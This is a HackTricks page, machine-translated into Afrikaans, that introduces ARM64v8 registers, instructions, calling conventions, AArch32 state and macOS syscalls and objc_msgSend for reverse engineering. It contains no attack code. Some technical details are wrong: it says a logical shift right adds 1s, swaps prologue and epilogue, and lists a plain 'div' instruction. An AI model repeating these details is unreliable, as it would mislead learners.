Inleiding tot ARM64v8
Reading time: 37 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Uitsondering Niveaus - EL (ARM64v8)
In ARMv8 argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregtevlak en vermoëns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel:
- EL0 - Gebruikersmodus:
- Dit is die minste voorregtevlak en word gebruik om gewone toepassingskode uit te voer.
- Toepassings wat op EL0 loop, is van mekaar en van die stelselsagteware geĂŻsoleer, wat sekuriteit en stabiliteit verbeter.
- EL1 - Bedryfstelsel Kernel Modus:
- Meeste bedryfstelsel-kernels loop op hierdie vlak.
- EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne hĂȘ, maar met sekere beperkings om stelselintegriteit te verseker.
- EL2 - Hypervisor Modus:
- Hierdie vlak word gebruik vir virtualisering. 'n Hypervisor wat op EL2 loop, kan verskeie bedryfstelsels bestuur (elke in sy eie EL1) wat op dieselfde fisiese hardeware loop.
- EL2 bied kenmerke vir isolasie en beheer van die gevirtualiseerde omgewings.
- EL3 - Veilige Monitor Modus:
- Dit is die mees voorregtevlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings.
- EL3 kan toegang en kontrole tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.).
Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees voorregte stelselsagteware. ARMv8 se benadering tot voorregtevlakke help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter.
Registers (ARM64v8)
ARM64 het 31 algemene registers, gemerk x0
tot x30
. Elke kan 'n 64-bit (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 aangespreek word.
x0
totx7
- Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subroutines gebruik.
x0
dra ook die terugdata van 'n funksie
x8
- In die Linux-kernel, wordx8
as die stelselaanroepnommer vir diesvc
instruksie gebruik. In macOS is dit x16 wat gebruik word!x9
totx15
- Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.x16
enx17
- Intra-prosedurele Oproep Registers. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Prosedure Koppeling Tabel) stubs.
x16
word as die stelselaanroepnommer vir diesvc
instruksie in macOS gebruik.
x18
- Platform register. Dit kan as 'n algemene register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: Punter na die huidige draad-omgewing blok in Windows, of om na die huidige uitvoerende taakstruktuur in die linux kernel te verwys.x19
totx28
- Hierdie is belde-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan.x29
- Raamwyser om die stapelraam te volg. Wanneer 'n nuwe stapelraam geskep word omdat 'n funksie opgeroep word, word diex29
register in die stapel gestoor en die nuwe raamwyser adres is (sp
adres) in hierdie register gestoor.
- Hierdie register kan ook as 'n algemene register gebruik word alhoewel dit gewoonlik as 'n verwysing na lokale veranderlikes gebruik word.
x30
oflr
- Koppeling register. Dit hou die terugadres wanneer 'nBL
(Branch with Link) ofBLR
(Branch with Link to Register) instruksie uitgevoer word deur diepc
waarde in hierdie register te stoor.
- Dit kan ook soos enige ander register gebruik word.
- As die huidige funksie 'n nuwe funksie gaan oproep en dus
lr
gaan oorskryf, sal dit dit aan die begin in die stapel stoor, dit is die epiloog (stp x29, x30 , [sp, #-48]; mov x29, sp
-> Stoorfp
enlr
, genereer ruimte en kry nuwefp
) en dit aan die einde herwin, dit is die proloog (ldp x29, x30, [sp], #48; ret
-> Herwinfp
enlr
en keer terug).
sp
- Stapelwyser, gebruik om die bokant van die stapel te volg.
- die
sp
waarde moet altyd ten minste 'n quadword uitlijning of 'n uitlijningsfout mag voorkom.
pc
- Program teller, wat na die volgende instruksie wys. Hierdie register kan slegs opgedateer word deur uitsondering generasies, uitsondering terugkeerde, en takke. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om diepc
adres inlr
(Koppeling Register) te stoor.xzr
- Nul register. Ook genoemwzr
in sy 32-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer metsubs
soossubs XZR, Xn, #10
wat die resulterende data nĂȘrens stoor (inxzr
).
Die Wn
registers is die 32bit weergawe van die Xn
register.
SIMD en Vlotpunt Registers
Boonop is daar nog 32 registers van 128bit lengte wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van vlotpunt aritmetiek gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in 64-bit, 32-bit, 16-bit en 8-bit kan werk en dan word hulle Qn
, Dn
, Sn
, Hn
en Bn
genoem.
Stelsels Registers
Daar is honderde stelsels registers, ook bekend as spesiale doeleindes registers (SPRs), wat gebruik word vir monitering en beheer van verwerkers gedrag.
Hulle kan slegs gelees of gestel word met die toegewyde spesiale instruksie mrs
en msr
.
Die spesiale registers TPIDR_EL0
en TPIDDR_EL0
word algemeen gevind wanneer omgekeerde ingenieurswese gedoen word. Die EL0
agtervoegsel dui die minimale uitsondering aan waaruit die register aangespreek kan word (in hierdie geval is EL0 die gewone uitsondering (voorreg) vlak waaroor gewone programme loop).
Hulle word dikwels gebruik om die basisadres van die draad-lokale berging geheue streek te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 loop, maar die tweede kan van EL0 gelees en van EL1 (soos kernel) geskryf word.
mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0
msr TPIDR_EL0, X0 ; Skryf x0 in TPIDR_EL0
PSTATE
PSTATE bevat verskeie proses komponente wat in die bedryfstelsel-sigbare SPSR_ELx
spesiale register geserieleer is, wat X die toestemming vlak van die geaktiveerde uitsondering aandui (dit stel in staat om die prosesstatus te herstel wanneer die uitsondering eindig).
Hierdie is die toeganklike velde:
- Die
N
,Z
,C
enV
toestand vlae: N
beteken die operasie het 'n negatiewe resultaat opgelewerZ
beteken die operasie het nul opgelewerC
beteken die operasie het 'n dra oorV
beteken die operasie het 'n onderteken oorgang opgelewer:- Die som van twee positiewe getalle lewer 'n negatiewe resultaat.
- Die som van twee negatiewe getalle lewer 'n positiewe resultaat.
- In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal (of omgekeerd) afgetrek word, en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie.
- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie-onderteken was.
warning
Nie al die instruksies werk hierdie vlae op nie. Sommige soos CMP
of TST
doen, en ander wat 'n s agtervoegsel het soos ADDS
doen dit ook.
- Die huidige register breedte (
nRW
) vlag: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra dit hervat word. - Die huidige Uitsondering Vlak (
EL
): 'n Gewone program wat in EL0 loop, sal die waarde 0 hĂȘ - Die enkele stap vlag (
SS
): Gebruik deur debuggers om enkelstap deur die SS vlag op 1 inSPSR_ELx
deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik. - Die onwettige uitsondering toestand vlag (
IL
): Dit word gebruik om aan te dui wanneer 'n voorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering. - Die
DAIF
vlae: Hierdie vlae stel 'n voorregte program in staat om selektief sekere eksterne uitsonderings te masker. - As
A
1 is, beteken dit asynchrone afbrake sal geaktiveer word. DieI
stel in om te reageer op eksterne hardeware Interrupts Requests (IRQs). en die F is verwant aan Fast Interrupt Requests (FIRs). - Die stapelwyser seleksie vlae (
SPS
): Voorregte programme wat in EL1 en hoër loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussenSP_EL1
enEL0
) wissel. Hierdie skakeling word uitgevoer deur na dieSPSel
spesiale register te skryf. Dit kan nie van EL0 gedoen word nie.
Oproep Konvensie (ARM64v8)
Die ARM64 oproep konvensie spesifiseer dat die eerste agt parameters na 'n funksie in registers x0
tot x7
oorgedra word. Addisionele parameters word op die stapel oorgedra. Die terug waarde word in register x0
teruggegee, of in x1
as dit ook 128 bits lank is. Die x19
tot x30
en sp
registers moet behou word oor funksie-oproepe.
Wanneer 'n funksie in assembly gelees word, soek na die funksie proloog en epiloog. Die proloog behels gewoonlik die stoor van die raamwyser (x29
), opstelling van 'n nuwe raamwyser, en toewysing van stapelruimte. Die epiloog behels gewoonlik die herstel van die gestoor raamwyser en terugkeer van die funksie.
Oproep Konvensie in Swift
Swift het sy eie oproep konvensie wat gevind kan word in https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Algemene Instruksies (ARM64v8)
ARM64 instruksies het oor die algemeen die formaat opcode dst, src1, src2
, waar opcode
die operasie is wat uitgevoer moet word (soos add
, sub
, mov
, ens.), dst
is die bestemmings register waar die resultaat gestoor sal word, en src1
en src2
is die bron registers. Onmiddellike waardes kan ook in plaas van bron registers gebruik word.
-
mov
: Beweeg 'n waarde van een register na 'n ander. -
Voorbeeld:
mov x0, x1
â Dit beweeg die waarde vanx1
nax0
. -
ldr
: Laai 'n waarde van geheue in 'n register. -
Voorbeeld:
ldr x0, [x1]
â Dit laai 'n waarde van die geheue ligging wat deurx1
aangedui word inx0
. -
Offset modus: 'n offset wat die oorspronklike punter beĂŻnvloed, word aangedui, byvoorbeeld:
-
ldr x2, [x1, #8]
, dit sal die waarde van x1 + 8 in x2 laai -
ldr x2, [x0, x1, lsl #2]
, dit sal 'n objek van die array x0 laai, vanaf die posisie x1 (indeks) * 4 -
Pre-geĂŻndekseerde modus: Dit sal berekeninge op die oorspronklike toepas, die resultaat kry en ook die nuwe oorspronklike in die oorspronklike stoor.
-
ldr x2, [x1, #8]!
, dit salx1 + 8
inx2
laai en die resultaat vanx1 + 8
in x1 stoor -
str lr, [sp, #-4]!
, Stoor die koppeling register in sp en werk die register sp op -
Post-geĂŻndekseerde modus: Dit is soos die vorige een, maar die geheue adres word aangespreek en dan word die offset bereken en gestoor.
-
ldr x0, [x1], #8
, laaix1
inx0
en werk x1 op metx1 + 8
-
PC-relatiewe adressering: In hierdie geval word die adres om te laai relatief tot die PC register bereken
-
ldr x1, =_start
, Dit sal die adres waar die_start
simbool begin in x1 laai relatief tot die huidige PC. -
str
: Stoor 'n waarde van 'n register in geheue. -
Voorbeeld:
str x0, [x1]
â Dit stoor die waarde inx0
in die geheue ligging wat deurx1
aangedui word. -
ldp
: Laai Paar Registers. Hierdie instruksie laai twee registers van aaneengeskakelde geheue liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg. -
Voorbeeld:
ldp x0, x1, [x2]
â Dit laaix0
enx1
van die geheue liggings byx2
enx2 + 8
, onderskeidelik. -
stp
: Stoor Paar Registers. Hierdie instruksie stoor twee registers na aaneengeskakelde geheue liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg. -
Voorbeeld:
stp x0, x1, [sp]
â Dit stoorx0
enx1
na die geheue liggings bysp
ensp + 8
, onderskeidelik. -
stp x0, x1, [sp, #16]!
â Dit stoorx0
enx1
na die geheue liggings bysp+16
ensp + 24
, onderskeidelik, en werksp
op metsp+16
. -
add
: Voeg die waardes van twee registers by en stoor die resultaat in 'n register. -
Sintaksis: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Bestemming
-
Xn2 -> Operand 1
-
Xn3 | #imm -> Operando 2 (register of onmiddellik)
-
[shift #N | RRX] -> Voer 'n skuif uit of bel RRX
-
Voorbeeld:
add x0, x1, x2
â Dit voeg die waardes inx1
enx2
saam en stoor die resultaat inx0
. -
add x5, x5, #1, lsl #12
â Dit is gelyk aan 4096 (1 wat 12 keer geskuif word) -> 1 0000 0000 0000 0000 -
adds
Dit voer 'nadd
uit en werk die vlae op -
sub
: Trek die waardes van twee registers af en stoor die resultaat in 'n register. -
Kontroleer
add
sintaksis. -
Voorbeeld:
sub x0, x1, x2
â Dit trek die waarde inx2
vanx1
af en stoor die resultaat inx0
. -
subs
Dit is soos sub maar werk die vlag op -
mul
: Vermenigvuldig die waardes van twee registers en stoor die resultaat in 'n register. -
Voorbeeld:
mul x0, x1, x2
â Dit vermenigvuldig die waardes inx1
enx2
en stoor die resultaat inx0
. -
div
: Deel die waarde van een register deur 'n ander en stoor die resultaat in 'n register. -
Voorbeeld:
div x0, x1, x2
â Dit deel die waarde inx1
deurx2
en stoor die resultaat inx0
. -
lsl
,lsr
,asr
,ror
,rrx
: -
Logiese skuif links: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig met n-keer 2)
-
Logiese skuif regs: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in nie-onderteken)
-
Aritmetiese skuif regs: Soos
lsr
, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, word 1s bygevoeg (deel deur n-keer 2 in onderteken) -
Draai regs: Soos
lsr
maar wat ook al van die regterkant verwyder word, word aan die linkerkant bygevoeg -
Draai Regs met Uitbreiding: Soos
ror
, maar met die dra vlag as die "mees betekenisvolle bit". So die dra vlag word na die bit 31 verskuif en die verwyderde bit na die dra vlag. -
bfm
: Bit Veld Beweeg, hierdie operasies kopieer bits0...n
van 'n waarde en plaas hulle in posisiesm..m+n
. Die#s
spesifiseer die linkerste bit posisie en#r
die dra regs hoeveelheid. -
Bitveld beweeg:
BFM Xd, Xn, #r
-
Onderteken Bitveld beweeg:
SBFM Xd, Xn, #r, #s
-
Nie-onderteken Bitveld beweeg:
UBFM Xd, Xn, #r, #s
-
Bitveld Uittrek en Invoeg: Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register.
-
BFI X1, X2, #3, #4
Voeg 4 bits van X2 vanaf die 3de bit van X1 in -
BFXIL X1, X2, #3, #4
Trek 4 bits vanaf die 3de bit van X2 uit en kopieer dit na X1 -
SBFIZ X1, X2, #3, #4
Onderteken-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak -
SBFX X1, X2, #3, #4
Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei hulle, en plaas die resultaat in X1 -
UBFIZ X1, X2, #3, #4
Nul-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak -
UBFX X1, X2, #3, #4
Trek 4 bits vanaf bit 3 van X2 uit en plaas die nul-uitgebreide resultaat in X1. -
Onderteken Uitbrei na X: Brei die teken uit (of voeg net 0s in die nie-onderteken weergawe) van 'n waarde om operasies daarmee uit te voer:
-
SXTB X1, W2
Brei die teken van 'n byte van W2 na X1 uit (W2
is die helfte vanX2
) om die 64bits te vul -
SXTH X1, W2
Brei die teken van 'n 16bit getal van W2 na X1 uit om die 64bits te vul -
SXTW X1, W2
Brei die teken van 'n byte van W2 na X1 uit om die 64bits te vul -
UXTB X1, W2
Voeg 0s (nie-onderteken) by 'n byte van W2 na X1 om die 64bits te vul -
extr
: Trek bits uit 'n spesifieke paar registers wat gekombineer is. -
Voorbeeld:
EXTR W3, W2, W1, #3
Dit sal W1+W2 kombineer en van bit 3 van W2 tot bit 3 van W1 kry en dit in W3 stoor. -
cmp
: Vergelyk twee registers en stel toestand vlae. Dit is 'n alias vansubs
wat die bestemming register na die nul register stel. Nuttig om te weet ofm == n
. -
Dit ondersteun die dieselfde sintaksis as
subs
-
Voorbeeld:
cmp x0, x1
â Dit vergelyk die waardes inx0
enx1
en stel die toestand vlae ooreenkomstig op. -
cmn
: Vergelyk negatiewe operand. In hierdie geval is dit 'n alias vanadds
en ondersteun die dieselfde sintaksis. Nuttig om te weet ofm == -n
. -
ccmp
: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en sal spesifiek nzcv bits stel. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> as x1 != x2 en x3 < x4, spring na func -
Dit is omdat
ccmp
slegs uitgevoer sal word as die vorigecmp
'nNE
was, as dit nie was nie, sal die bitsnzcv
op 0 gestel word (wat nie dieblt
vergelyking sal bevredig nie). -
Dit kan ook as
ccmn
gebruik word (dieselfde maar negatief, sooscmp
teenoorcmn
). -
tst
: Dit kyk of enige van die waardes van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te kyk of enige van die bits van die register wat in die waarde aangedui word 1 is. -
Voorbeeld:
tst X1, #7
Kyk of enige van die laaste 3 bits van X1 1 is -
teq
: XOR operasie wat die resultaat verwerp -
b
: Onvoorwaardelike Tak -
Voorbeeld:
b myFunction
-
Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie)
-
bl
: Tak met koppeling, gebruik om 'n subroutine te roep. Stoor die terugadres inx30
. -
Voorbeeld:
bl myFunction
â Dit roep die funksiemyFunction
en stoor die terugadres inx30
. -
Let daarop dat dit nie die koppeling register met die terugadres sal vul nie (nie geskik vir subrutine oproepe wat terug moet keer nie)
-
blr
: Tak met Koppeling na Register, gebruik om 'n subroutine te roep waar die teiken in 'n register gespesifiseer word. Stoor die terugadres inx30
. (Dit is -
Voorbeeld:
blr x1
â Dit roep die funksie waarvan die adres inx1
bevat is en stoor die terugadres inx30
. -
ret
: Terugkeer van subroutine, tipies met die adres inx30
. -
Voorbeeld:
ret
â Dit keer terug van die huidige subroutine met die terugadres inx30
. -
b.<cond>
: Voorwaardelike takke -
b.eq
: Tak as gelyk, gebaseer op die vorigecmp
instruksie. -
Voorbeeld:
b.eq label
â As die vorigecmp
instruksie twee gelyke waardes gevind het, spring dit nalabel
. -
b.ne
: Tak as Nie Gelyk. Hierdie instruksie kyk die toestand vlae na (wat deur 'n vorige vergelyking instruksie gestel is), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n etiket of adres. -
Voorbeeld: Na 'n
cmp x0, x1
instruksie,b.ne label
â As die waardes inx0
enx1 nie gelyk was nie, spring dit na
label`. -
cbz
: Vergelyk en Tak op Nul. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n etiket of adres. -
Voorbeeld:
cbz x0, label
â As die waarde inx0
nul is, spring dit nalabel
. -
cbnz
: Vergelyk en Tak op Nie-Nul. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n etiket of adres. -
Voorbeeld:
cbnz x0, label
â As die waarde inx0
nie nul is nie, spring dit nalabel
. -
tbnz
: Toets bit en tak op nie-nul -
Voorbeeld:
tbnz x0, #8, label
-
tbz
: Toets bit en tak op nul -
Voorbeeld:
tbz x0, #8, label
-
Voorwaardelike seleksie operasies: Dit is operasies waarvan die gedrag wissel, afhangende van die voorwaardelike bits.
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> As waar, X0 = X1, as vals, X0 = X2 -
csinc Xd, Xn, Xm, cond
-> As waar, Xd = Xn, as vals, Xd = Xn + 1 -
cinc Xd, Xn, cond
-> As waar, Xd = Xn + 1, as vals, Xd = Xn -
csinv Xd, Xn, Xm, cond
-> As waar, Xd = Xn, as vals, Xd = NOT(Xm) -
cinv Xd, Xn, cond
-> As waar, Xd = NOT(Xn), as vals, Xd = Xn -
csneg Xd, Xn, Xm, cond
-> As waar, Xd = Xn, as vals, Xd = - Xm -
cneg Xd, Xn, cond
-> As waar, Xd = - Xn, as vals, Xd = Xn -
cset Xd, Xn, Xm, cond
-> As waar, Xd = 1, as vals, Xd = 0 -
csetm Xd, Xn, Xm, cond
-> As waar, Xd = <alle 1>, as vals, Xd = 0 -
adrp
: Bereken die bladsy adres van 'n simbool en stoor dit in 'n register. -
Voorbeeld:
adrp x0, symbol
â Dit bereken die bladsy adres vansymbol
en stoor dit inx0
. -
ldrsw
: Laai 'n ondertekende 32-bit waarde van geheue en onderteken-uitbrei dit na 64 bits. -
Voorbeeld:
ldrsw x0, [x1]
â Dit laai 'n ondertekende 32-bit waarde van die geheue ligging wat deurx1
aangedui word, onderteken-uitbrei dit na 64 bits, en stoor dit inx0
. -
stur
: Stoor 'n register waarde na 'n geheue ligging, met 'n offset van 'n ander register. -
Voorbeeld:
stur x0, [x1, #4]
â Dit stoor die waarde inx0
in die geheue adres wat 4 bytes groter is as die adres wat tans inx1
is. -
svc
: Maak 'n stelselaanroep. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, skakel dit van gebruikersmodus na kernelmodus en spring na 'n spesifieke ligging in geheue waar die kernel se stelselaanroep hantering kode geleë is. -
Voorbeeld:
mov x8, 93 ; Laai die stelselaanroepnommer vir uitgang (93) in register x8.
mov x0, 0 ; Laai die uitgangstatuskode (0) in register x0.
svc 0 ; Maak die stelselaanroep.
Funksie Proloog
- Stoor die koppeling register en raamwyser na die stapel:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Stel die nuwe raamwyser op:
mov x29, sp
(stel die nuwe raamwyser op vir die huidige funksie) - Toewys ruimte op die stapel vir plaaslike veranderlikes (indien nodig):
sub sp, sp, <size>
(waar<size>
die aantal bytes is wat benodig word)
Funksie Epiloog
- Deallocate plaaslike veranderlikes (indien enige toegeken is):
add sp, sp, <size>
- Herstel die skakelregister en raamwyser:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret
(gee beheer terug aan die oproeper met behulp van die adres in die skakelregister)
AARCH32 Uitvoeringsstaat
Armv8-A ondersteun die uitvoering van 32-bis programme. AArch32 kan in een van twee instruksiesette loop: A32
en T32
en kan tussen hulle skakel via interworking
.
Bevoorregte 64-bis programme kan die uitvoering van 32-bis programme skeduleer deur 'n uitsonderingsvlak oordrag na die laer bevoorregte 32-bis uit te voer.
Let daarop dat die oorgang van 64-bis na 32-bis plaasvind met 'n verlaging van die uitsonderingsvlak (byvoorbeeld 'n 64-bis program in EL1 wat 'n program in EL0 aktiveer). Dit word gedoen deur die bit 4 van SPSR_ELx
spesiale register op 1 te stel wanneer die AArch32
prosesdraad gereed is om uitgevoer te word en die res van SPSR_ELx
die AArch32
programme CPSR stoor. Dan roep die bevoorregte proses die ERET
instruksie aan sodat die verwerker oorgaan na AArch32
en in A32 of T32 ingaan, afhangende van CPSR**.**
Die interworking
vind plaas met behulp van die J en T bits van CPSR. J=0
en T=0
beteken A32
en J=0
en T=1
beteken T32. Dit beteken basies om die laagste bit op 1 te stel om aan te dui dat die instruksieset T32 is.
Dit word tydens die interworking takinstruksies gestel, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld:
Nog 'n voorbeeld:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Registers
Daar is 16 32-bit registers (r0-r15). Van r0 tot r14 kan hulle gebruik word vir enige operasie, maar sommige van hulle is gewoonlik gereserveer:
r15
: Program counter (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32, huidige + 4.r11
: Frame Pointerr12
: Intra-procedural call registerr13
: Stack Pointerr14
: Link Register
Boonop word registers geback-up in banked registries
. Dit is plekke wat die registerwaardes stoor wat vinnige kontekswisseling in uitsondering hantering en bevoorregte operasies moontlik maak om die behoefte om registers handmatig te stoor en te herstel elke keer te vermy.
Dit word gedoen deur die verwerkerstatus van die CPSR
na die SPSR
van die verwerker modus waarheen die uitsondering geneem word, te stoor. By die uitsondering terugkeer, word die CPSR
van die SPSR
herstel.
CPSR - Current Program Status Register
In AArch32 werk die CPSR soortgelyk aan PSTATE
in AArch64 en word ook gestoor in SPSR_ELx
wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
Die velde is in 'n paar groepe verdeel:
- Application Program Status Register (APSR): Aritmetiese vlae en toeganklik vanaf EL0
- Execution State Registers: Proses gedrag (geadministreer deur die OS).
Application Program Status Register (APSR)
- Die
N
,Z
,C
,V
vlae (net soos in AArch64) - Die
Q
vlae: Dit word op 1 gestel wanneer heelgetal saturasie plaasvind tydens die uitvoering van 'n gespesialiseerde versadigende aritmetiese instruksie. Sodra dit op1
gestel is, sal dit die waarde behou totdat dit handmatig op 0 gestel word. Boonop is daar geen instruksie wat sy waarde implisiet nagaan nie, dit moet gedoen word deur dit handmatig te lees. GE
(Groter as of gelyk aan) Vlae: Dit word gebruik in SIMD (Single Instruction, Multiple Data) operasies, soos "parallel add" en "parallel subtract". Hierdie operasies stel in staat om verskeie datapunte in 'n enkele instruksie te verwerk.
Byvoorbeeld, die UADD8
instruksie voeg vier pare van bytes (van twee 32-bit operande) parallel by en stoor die resultate in 'n 32-bit register. Dit stel dan die GE
vlae in die APSR
op grond van hierdie resultate. Elke GE-vlag kom ooreen met een van die byte byvoegings, wat aandui of die byvoeging vir daardie byte paar oorloop het.
Die SEL
instruksie gebruik hierdie GE vlae om voorwaardelike aksies uit te voer.
Execution State Registers
- Die
J
enT
bits:J
moet 0 wees en asT
0 is, word die instruksieset A32 gebruik, en as dit 1 is, word die T32 gebruik. - IT Block State Register (
ITSTATE
): Dit is die bits van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'nIT
voorvoegsel groep. E
bit: Dui die endianness aan.- Mode en Exception Mask Bits (0-4): Hulle bepaal die huidige uitvoeringsstatus. Die 5de dui aan of die program as 32bit (n 1) of 64bit (n 0) loop. Die ander 4 verteenwoordig die uitsonderingsmodus wat tans gebruik word (wanneer 'n uitsondering plaasvind en dit hanteer word). Die nommer wat gestel word dui die huidige prioriteit aan in die geval dat 'n ander uitsondering geaktiveer word terwyl dit hanteer word.
AIF
: Sekere uitsonderings kan gedeaktiveer word met die bitsA
,I
,F
. AsA
1 is, beteken dit dat asynchrone aborts geaktiveer sal word. DieI
stel in om te reageer op eksterne hardeware Interrupts Requests (IRQs). en die F is verwant aan Fast Interrupt Requests (FIRs).
macOS
BSD syscalls
Kyk na syscalls.master. BSD syscalls sal x16 > 0 hĂȘ.
Mach Traps
Kyk na syscall_sw.c die mach_trap_table
en in mach_traps.h die prototipes. Die maksimum aantal Mach traps is MACH_TRAP_TABLE_COUNT
= 128. Mach traps sal x16 < 0 hĂȘ, so jy moet die nommers van die vorige lys met 'n minus aanroep: _kernelrpc_mach_vm_allocate_trap
is -10
.
Jy kan ook libsystem_kernel.dylib
in 'n disassembler nagaan om te vind hoe om hierdie (en BSD) syscalls aan te roep:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Let wel dat Ida en Ghidra ook spesifieke dylibs uit die cache kan dekompileer net deur die cache te oorhandig.
tip
Soms is dit makliker om die gedekompleerde kode van libsystem_kernel.dylib
te kyk as om die bronkode te kyk omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word.
machdep oproepe
XNU ondersteun 'n ander tipe oproepe wat masjienafhanklik genoem word. Die getalle van hierdie oproepe hang af van die argitektuur en geen van die oproepe of getalle is gewaarborg om konstant te bly nie.
comm bladsy
Dit is 'n kern eienaar geheue bladsy wat in die adresruimte van elke gebruikersproses gemap is. Dit is bedoel om die oorgang van gebruikersmodus na kernruimte vinniger te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
Byvoorbeeld, die oproep gettimeofdate
lees die waarde van timeval
direk van die comm bladsy.
objc_msgSend
Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat jou toe om 'n metode van 'n Objective-C objek aan te roep.
Parameters (meer inligting in die dokumentasie):
- x0: self -> Wys na die instansie
- x1: op -> Selektor van die metode
- x2... -> Res van die argumente van die aangeroepte metode
So, as jy 'n breekpunt voor die tak na hierdie funksie plaas, kan jy maklik vind wat in lldb aangeroep word (in hierdie voorbeeld roep die objek 'n objek van NSConcreteTask
aan wat 'n opdrag sal uitvoer):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
Deur die omgewing veranderlike NSObjCMessageLoggingEnabled=1
in te stel, is dit moontlik om te log wanneer hierdie funksie in 'n lĂȘer soos /tmp/msgSends-pid
aangeroep word.
Boonop, deur OBJC_HELP=1
in te stel en enige binĂȘre aan te roep, kan jy ander omgewing veranderlikes sien wat jy kan gebruik om log te maak wanneer sekere Objc-C aksies plaasvind.
